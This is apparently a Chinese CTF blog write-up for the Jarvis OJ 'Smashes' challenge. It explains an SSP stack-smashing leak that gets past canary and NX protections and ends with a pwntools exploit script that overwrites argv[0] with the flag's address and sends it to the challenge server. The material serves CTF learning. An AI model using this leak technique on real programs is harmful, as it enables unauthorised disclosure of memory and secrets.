Jarvis OJ---Smashes

2017-09-24  本文已影响0人  yahoo0o0

先查看一下开启了什么防御机制

image.png
程序开启了canary和NX,但是hint之中却提示让我们overwrite it,既然无法直接插入shellcode,也无法通过ret2libc或者ROP直接绕过,好像一时之间没有啥子办法了,其实还有一种特别的方法,那就是SSP(Stack Smashes Protect)leak,具体可以看这里
http://www.jianshu.com/p/b0b254b94afe
通过gdb调试,计算argv[0]到缓冲区的字节大小 image.png image.png

发现flag存在两个位置


image.png

最后贴上脚本

from pwn import *
from time import *

p = remote('pwn.jarvisoj.com',9877)
p.recvuntil("name?")
payload = p64(0x400D20)*160
p.sendline(payload)
p.recvuntil('flag:')
p.sendline("1")
p.interactive()
上一篇 下一篇

猜你喜欢

热点阅读